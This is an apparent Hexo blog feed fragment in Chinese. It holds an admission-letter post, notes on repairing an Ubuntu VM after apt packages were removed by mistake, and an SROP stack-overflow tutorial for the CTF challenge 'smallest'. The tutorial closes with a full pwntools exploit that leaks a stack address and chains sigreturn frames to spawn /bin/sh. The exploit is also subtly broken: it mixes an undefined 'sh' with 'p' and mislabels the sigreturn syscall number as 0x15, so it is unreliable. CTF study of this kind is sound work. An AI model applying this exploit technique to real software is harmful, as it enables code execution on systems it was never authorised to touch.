<h1 id="Others"><a href="#Others" class="headerlink" title="Others"></a>Others</h1><p>然后推荐一个我特别特别特别特别喜欢的经验贴，简直是我前期动摇时候的强心剂，真的很喜欢，我巴不得全文引用hhhhhh</p>
<blockquote>
<p><a href="https://zhuanlan.zhihu.com/p/26254149" target="_blank" rel="noopener">https://zhuanlan.zhihu.com/p/26254149</a></p>
</blockquote>
<p>再晒一下6.27号到的录取通知书，给你们沾沾喜气~</p>
<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20210627224747007.png" alt="image-20210627224747007" style="zoom:33%;">

<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20210627224821122.png" alt="image-20210627224821122" style="zoom: 25%;">

<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20210627224904232.png" alt="image-20210627224904232" style="zoom:24%;">
]]></content>
      <tags>
        <tag>杂</tag>
      </tags>
  </entry>
  <entry>
    <title>记录一次虚拟机误删apt包后的重新恢复</title>
    <url>/2020/04/01/%E8%AE%B0%E5%BD%95%E4%B8%80%E6%AC%A1%E8%99%9A%E6%8B%9F%E6%9C%BA%E8%AF%AF%E5%88%A0apt%E5%8C%85%E5%90%8E%E7%9A%84%E9%87%8D%E6%96%B0%E6%81%A2%E5%A4%8D/</url>
    <content><![CDATA[<h1 id="记录一次apt包误删后的恢复"><a href="#记录一次apt包误删后的恢复" class="headerlink" title="记录一次apt包误删后的恢复"></a>记录一次apt包误删后的恢复</h1><p>愚人节的第一个惊喜？？？</p>
<p>昨天本来是换ubuntu16 py3环境的，先删掉了自己原生的py3，可惜脑残从网上复制命令的时候可能有一句autoremove之类的东西？我所有ubuntu原生与py3有关的apt包怕是全被删完…..当时删了600多M没在意，然后用的时候只是发现终端坏了，gedit没了，然后在终端还仅存的时候装上了gnome-terminal和gedit，现在想想都后怕，要是当时没装上还得在那个黑洞洞的Xterm里面重装</p>
<p>然后今天来操作的时候偶然一个什么操作触发了崩盘</p>
<p><img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20200401161311509.png" alt="image-20200401161311509"></p>
<p>图形化界面几乎是崩了一半了，窗口也拖不动只有命令行和这个可怜的桌面上几个文件夹和我打交道（幸好终端滚动条还能用），开机可以正常开，不过此时可以看到网络是断开的：</p>
<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20200401162339042.png" alt="image-20200401162339042" style="zoom: 80%;">

<h1 id="第一步：终端"><a href="#第一步：终端" class="headerlink" title="第一步：终端"></a>第一步：终端</h1><p>发现Ctrl+Alt+T没反应了，不清楚具体什么原因，但是右键桌面幸好还是可以开启terminal</p>
<h1 id="第二步：网络"><a href="#第二步：网络" class="headerlink" title="第二步：网络"></a>第二步：网络</h1><p>首先我面临的问题不是命令使用不了了，正常命令我都可以使用，但是我需要的是用apt把这些包全都装回来</p>
<p><img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20200401162540191.png" alt="image-20200401162540191"></p>
<p>直接ifconfig看的话就是这样的，下面是我的解决方案</p>
<p><code>sudo /sbin/dhclient</code>(在这条命令之前好像还尝试启动了一些服务之类的，由于是操作到一半来记录的所以前面几条可能就没有了，不过这条是最有效的，因为使用了之后我直接就可以ping通DNS和baidu了，重启之后也是和上面显示的一样，但是直接使用这条命令的话就可以瞬间通网，神奇)</p>
<p><code>sudo service network-manager start</code></p>
<p><code>sudo gedit /etc/NetworkManager/NetworkManager.conf</code> 把最后一行的false改成true，这下开机的时候就会自动有网了</p>
<h1 id="第三步：开始琢磨apt包"><a href="#第三步：开始琢磨apt包" class="headerlink" title="第三步：开始琢磨apt包"></a>第三步：开始琢磨apt包</h1><h2 id="桌面apt包"><a href="#桌面apt包" class="headerlink" title="桌面apt包"></a>桌面apt包</h2><p>还是先<code>sudo apt update &amp;&amp; sudo apt upgrade</code></p>
<p>之前换源的文件倒是没事，照样可用，但是upgrade的时候有内容不能fetch，所以先进行下面的操作</p>
<p><code>sudo apt install compiz</code></p>
<p><code>sudo apt install unity</code></p>
<p><code>sudo apt install gdebi</code></p>
<p><code>sudo apt install ubuntu-desktop</code></p>
<p><code>sudo apt-get install --reinstall ubuntu-desktop</code>(这个reinstall是照着敲的，也没多想)</p>
<p>这里还参考了知乎上的<a href="https://www.zhihu.com/question/41770698/answer/92270590" target="_blank" rel="noopener">这篇回答</a></p>
<p>然后桌面系统就恢复正常了</p>
<p>重新启动一切正常，Ctrl+Alt+T也可以使用了</p>
<h2 id="其他apt包（可能会长期更新）"><a href="#其他apt包（可能会长期更新）" class="headerlink" title="其他apt包（可能会长期更新）"></a>其他apt包（可能会长期更新）</h2><p>sudo apt install libxslt-dev<br>sudo apt install libjpeg-dev<br>sudo apt install python-pip</p>
<h1 id="后续"><a href="#后续" class="headerlink" title="后续"></a>后续</h1><p>之后因为系统报错所以我还执行了这两条命令，虽然不知道有没有用</p>
<p>sudo service apport restart</p>
<p>sudo systemctl restart apport</p>
]]></content>
      <tags>
        <tag>系统恢复</tag>
      </tags>
  </entry>
  <entry>
    <title>高级栈溢出——SROP</title>
    <url>/2020/04/06/%E9%AB%98%E7%BA%A7%E6%A0%88%E6%BA%A2%E5%87%BA%E2%80%94%E2%80%94SROP/</url>
    <content><![CDATA[<h1 id="高级栈溢出——SROP"><a href="#高级栈溢出——SROP" class="headerlink" title="高级栈溢出——SROP"></a>高级栈溢出——SROP</h1><p>查漏补缺233333</p>
<h1 id="SROP"><a href="#SROP" class="headerlink" title="SROP"></a>SROP</h1><p>Sigreturn Oriented Programming</p>
<p>其中Unix-like system处理信号量的机制主要步骤分为如下：</p>
<blockquote>
<p>当内核向某个进程发起（deliver）一个signal，该进程会被暂时挂起（suspend），进入内核（1）<br>然后内核为该进程保存相应的上下文，跳转到之前注册好的signal handler中处理相应signal（2）<br>当signal handler返回之后（3）<br>内核为该进程恢复之前保存的上下文，最后恢复进程的执行（4）</p>
</blockquote>
<h2 id="ucontext"><a href="#ucontext" class="headerlink" title="ucontext"></a>ucontext</h2><p>伪造时需要注意：esp，ebp和es，gs等段寄存器不可直接设置为0</p>
<p>保存上下文时保存的内容叫<code>ucontext</code>，具体对应如下</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sigcontext</span>	//<span class="title">x86</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  <span class="keyword">unsigned</span> short gs, __gsh;</span><br><span class="line">  <span class="keyword">unsigned</span> short fs, __fsh;</span><br><span class="line">  <span class="keyword">unsigned</span> short es, __esh;</span><br><span class="line">  <span class="keyword">unsigned</span> short ds, __dsh;</span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">long</span> edi;</span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">long</span> esi;</span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">long</span> ebp;</span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">long</span> esp;</span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">long</span> ebx;</span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">long</span> edx;</span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">long</span> ecx;</span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">long</span> eax;</span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">long</span> trapno;</span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">long</span> err;</span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">long</span> eip;</span><br><span class="line">  <span class="keyword">unsigned</span> short cs, __csh;</span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">long</span> eflags;</span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">long</span> esp_at_signal;</span><br><span class="line">  <span class="keyword">unsigned</span> short ss, __ssh;</span><br><span class="line">  <span class="class"><span class="keyword">struct</span> _<span class="title">fpstate</span> * <span class="title">fpstate</span>;</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">long</span> oldmask;</span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">long</span> cr2;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">////////////////////////////////////////////////</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">fpstate</span> //<span class="title">x64</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  <span class="comment">/* FPU environment matching the 64-bit FXSAVE layout.  */</span></span><br><span class="line">  <span class="keyword">__uint16_t</span>        cwd;</span><br><span class="line">  <span class="keyword">__uint16_t</span>        swd;</span><br><span class="line">  <span class="keyword">__uint16_t</span>        ftw;</span><br><span class="line">  <span class="keyword">__uint16_t</span>        fop;</span><br><span class="line">  <span class="keyword">__uint64_t</span>        rip;</span><br><span class="line">  <span class="keyword">__uint64_t</span>        rdp;</span><br><span class="line">  <span class="keyword">__uint32_t</span>        mxcsr;</span><br><span class="line">  <span class="keyword">__uint32_t</span>        mxcr_mask;</span><br><span class="line">  <span class="class"><span class="keyword">struct</span> _<span class="title">fpxreg</span>    _<span class="title">st</span>[8];</span></span><br><span class="line">  <span class="class"><span class="keyword">struct</span> _<span class="title">xmmreg</span>    _<span class="title">xmm</span>[16];</span></span><br><span class="line">  <span class="keyword">__uint32_t</span>        padding[<span class="number">24</span>];</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sigcontext</span> </span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  <span class="keyword">__uint64_t</span> r8;</span><br><span class="line">  <span class="keyword">__uint64_t</span> r9;</span><br><span class="line">  <span class="keyword">__uint64_t</span> r10;</span><br><span class="line">  <span class="keyword">__uint64_t</span> r11;</span><br><span class="line">  <span class="keyword">__uint64_t</span> r12;</span><br><span class="line">  <span class="keyword">__uint64_t</span> r13;</span><br><span class="line">  <span class="keyword">__uint64_t</span> r14;</span><br><span class="line">  <span class="keyword">__uint64_t</span> r15;</span><br><span class="line">  <span class="keyword">__uint64_t</span> rdi;</span><br><span class="line">  <span class="keyword">__uint64_t</span> rsi;</span><br><span class="line">  <span class="keyword">__uint64_t</span> rbp;</span><br><span class="line">  <span class="keyword">__uint64_t</span> rbx;</span><br><span class="line">  <span class="keyword">__uint64_t</span> rdx;</span><br><span class="line">  <span class="keyword">__uint64_t</span> rax;</span><br><span class="line">  <span class="keyword">__uint64_t</span> rcx;</span><br><span class="line">  <span class="keyword">__uint64_t</span> rsp;</span><br><span class="line">  <span class="keyword">__uint64_t</span> rip;</span><br><span class="line">  <span class="keyword">__uint64_t</span> eflags;</span><br><span class="line">  <span class="keyword">unsigned</span> short cs;</span><br><span class="line">  <span class="keyword">unsigned</span> short gs;</span><br><span class="line">  <span class="keyword">unsigned</span> short fs;</span><br><span class="line">  <span class="keyword">unsigned</span> short __pad0;</span><br><span class="line">  <span class="keyword">__uint64_t</span> err;</span><br><span class="line">  <span class="keyword">__uint64_t</span> trapno;</span><br><span class="line">  <span class="keyword">__uint64_t</span> oldmask;</span><br><span class="line">  <span class="keyword">__uint64_t</span> cr2;</span><br><span class="line">  __extension__ <span class="keyword">union</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="class"><span class="keyword">struct</span> _<span class="title">fpstate</span> * <span class="title">fpstate</span>;</span></span><br><span class="line">      <span class="keyword">__uint64_t</span> __fpstate_word;</span><br><span class="line">    &#125;;</span><br><span class="line">  <span class="keyword">__uint64_t</span> __reserved1 [<span class="number">8</span>];</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>

<h2 id="syscall"><a href="#syscall" class="headerlink" title="syscall"></a>syscall</h2><p>具体利用时需要的是调用sigreturn系统调用</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">&#x2F;*for x86*&#x2F;</span><br><span class="line">mov eax,0x77</span><br><span class="line">int 80h</span><br><span class="line">&#x2F;*for x86_64*&#x2F;</span><br><span class="line">mov rax,0xf</span><br><span class="line">syscall</span><br></pre></td></tr></table></figure>

<h2 id="利用原理："><a href="#利用原理：" class="headerlink" title="利用原理："></a>利用原理：</h2><ul>
<li>Signal Frame 被保存在用户的地址空间中，所以用户是可以读写的。</li>
<li>由于内核与信号处理程序无关 (kernel agnostic about signal handlers)，它并不会去记录这个 signal 对应的 Signal Frame，所以当执行 sigreturn 系统调用时，此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。</li>
</ul>
<p>比如当我们执行sigreturn系统调用之前栈布局是如下情况的话，当系统执行完 sigreturn 系统调用之后，会执行一系列的 pop 指令以便于恢复相应寄存器的值，当执行到 rip 时，就会将程序执行流指向 syscall 地址，根据相应寄存器的值，此时，便会得到一个 shell</p>
<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20200406192003998.png" alt="image-20200406192003998" style="zoom:67%;">

<h2 id="链式利用原理："><a href="#链式利用原理：" class="headerlink" title="链式利用原理："></a>链式利用原理：</h2><ul>
<li><strong>控制栈指针。</strong></li>
<li><strong>把原来 rip 指向的<code>syscall</code> gadget 换成<code>syscall; ret</code> gadget。</strong></li>
</ul>
<p>如下图所示 ，这样当每次 syscall 返回的时候，栈指针都会指向下一个 Signal Frame。因此就可以执行一系列的 sigreturn 函数调用</p>
<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20200406192224800.png" alt="image-20200406192224800" style="zoom:80%;">

<h2 id="利用条件"><a href="#利用条件" class="headerlink" title="利用条件"></a>利用条件</h2><ol>
<li>程序存在栈溢出漏洞</li>
<li>知道栈地址或者可以知道需要使用字符串的地址等</li>
<li>知道sigreturn的地址</li>
<li>知道syscall的地址或者syscall gadget地址</li>
</ol>
<h1 id="smallest"><a href="#smallest" class="headerlink" title="smallest"></a>smallest</h1><p>原理看上去挺好理解，还是直接实操吧</p>
<p><img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20200406194252445.png" alt="image-20200406194252445"></p>
<p>程序没有canary和PIE保护</p>
<p>具体的程序就这么几行汇编代码：</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">xor     rax, rax</span><br><span class="line">mov     edx, 400h       ; count</span><br><span class="line">mov     rsi, rsp        ; buf</span><br><span class="line">mov     rdi, rax        ; fd</span><br><span class="line">syscall                 ; LINUX - sys_read</span><br><span class="line">retn</span><br></pre></td></tr></table></figure>

<p>然后加载进程序的时候只有这么几个寄存器被操作了，其余值均为0（Ubuntu16.04）</p>
<p>直接从rsp处读取了0x400个字节的栈内容，其中最主要还是需要知道怎么来构造出sigreturn的syscall操作</p>
<p>这里通过一个exp来学习一下：</p>
<h2 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'smallest'</span>	<span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary		<span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty)	<span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\x00'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\x00'</span>))</span><br><span class="line">global_max_fast=<span class="number">0x3c67f8</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">loginfo</span><span class="params">(what=<span class="string">''</span>,address=<span class="number">0</span>)</span>:</span></span><br><span class="line">	log.info(<span class="string">"\033[1;36m"</span> + what + <span class="string">'-----&gt;'</span> + hex(address) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line">syscall_ret = <span class="number">0x00000000004000BE</span></span><br><span class="line">start_addr = <span class="number">0x00000000004000B0</span></span><br><span class="line"><span class="comment">## set start addr three times</span></span><br><span class="line">payload = p64(start_addr) * <span class="number">3</span></span><br><span class="line">p.send(payload)</span><br><span class="line"></span><br><span class="line"><span class="comment">## modify the return addr to start_addr+3</span></span><br><span class="line"><span class="comment">## so that skip the xor rax,rax; After read rax=1</span></span><br><span class="line"><span class="comment">## get stack addr</span></span><br><span class="line">sh.send(<span class="string">'\xb3'</span>) <span class="comment"># 这一步很巧妙，只读了一个字节绕过 xor rax,rax 刚好把rax设置成1用于write leak栈地址</span></span><br><span class="line">stack_addr = u64(sh.recv()[<span class="number">8</span>:<span class="number">16</span>])</span><br><span class="line">log.success(<span class="string">'leak stack addr :'</span> + hex(stack_addr))</span><br><span class="line"></span><br><span class="line"><span class="comment">## make the rsp point to stack_addr</span></span><br><span class="line"><span class="comment">## the frame is read(0,stack_addr,0x400)</span></span><br><span class="line">sigframe = SigreturnFrame()</span><br><span class="line">sigframe.rax = constants.SYS_read <span class="comment"># constans直接获取SYS_read的系统调用号，这里为什么要通过sigframe链式利用stack_addr可能是因为这样比较好设置/bin/sh的偏移，直接通过leak到的地址来设置</span></span><br><span class="line">sigframe.rdi = <span class="number">0</span></span><br><span class="line">sigframe.rsi = stack_addr</span><br><span class="line">sigframe.rdx = <span class="number">0x400</span></span><br><span class="line">sigframe.rsp = stack_addr</span><br><span class="line">sigframe.rip = syscall_ret</span><br><span class="line">payload = p64(start_addr) + <span class="string">'a'</span> * <span class="number">8</span> + str(sigframe) <span class="comment">#先设置好sigframe，然后跳到start再读取一次</span></span><br><span class="line">sh.send(payload)</span><br><span class="line"></span><br><span class="line"><span class="comment"># set rax=15 and call sigreturn</span></span><br><span class="line">sigreturn = p64(syscall_ret) + <span class="string">'b'</span> * <span class="number">7</span> <span class="comment">#这里相当于把前一步的aaaaaaaa(返回地址处)填充成p64(syscall_ret)，然后把rax设置成0x15，直接调用syscall，就会用到我们的sigframe，这7个b似乎没有影响</span></span><br><span class="line"><span class="comment">#调用完之后会直接按照sigframe执行 read(0,stack_addr,0x400)</span></span><br><span class="line">sh.send(sigreturn) <span class="comment"># 这个时候就会直接往leak的stack_addr处读取0x400个字节，sigframe的长度是0x98</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># call execv("/bin/sh",0,0)</span></span><br><span class="line">sigframe = SigreturnFrame()</span><br><span class="line">sigframe.rax = constants.SYS_execve</span><br><span class="line">sigframe.rdi = stack_addr + <span class="number">0x120</span>  <span class="comment"># "/bin/sh" 's addr</span></span><br><span class="line">sigframe.rsi = <span class="number">0x0</span></span><br><span class="line">sigframe.rdx = <span class="number">0x0</span></span><br><span class="line">sigframe.rsp = stack_addr</span><br><span class="line">sigframe.rip = syscall_ret</span><br><span class="line"></span><br><span class="line">frame_payload = p64(start_addr) + <span class="string">'b'</span> * <span class="number">8</span> + str(sigframe)</span><br><span class="line"><span class="keyword">print</span> len(frame_payload)</span><br><span class="line">payload = frame_payload + (<span class="number">0x120</span> - len(frame_payload)) * <span class="string">'\x00'</span> + <span class="string">'/bin/sh\x00'</span></span><br><span class="line">sh.send(payload)</span><br><span class="line">sh.send(sigreturn)</span><br><span class="line">sh.interactive()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<hr>
<blockquote>
<p>参考链接：</p>
<p><a href="https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/#srop" target="_blank" rel="noopener">https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/#srop</a></p>
<p><a href="http://www.reshahar.com/2017/05/04/360春秋杯smallest-pwn的学习与利用/" target="_blank" rel="noopener">http://www.reshahar.com/2017/05/04/360%E6%98%A5%E7%A7%8B%E6%9D%AFsmallest-pwn%E7%9A%84%E5%AD%A6%E4%B9%A0%E4%B8%8E%E5%88%A9%E7%94%A8/</a></p>
<p><a href="https://www.anquanke.com/post/id/85810" target="_blank" rel="noopener">https://www.anquanke.com/post/id/85810</a></p>
<p><a href="https://www.freebuf.com/articles/network/87447.html" target="_blank" rel="noopener">https://www.freebuf.com/articles/network/87447.html</a></p>
</blockquote>
]]></content>
      <tags>
        <tag>pwn</tag>
      </tags>
  </entry>
</search>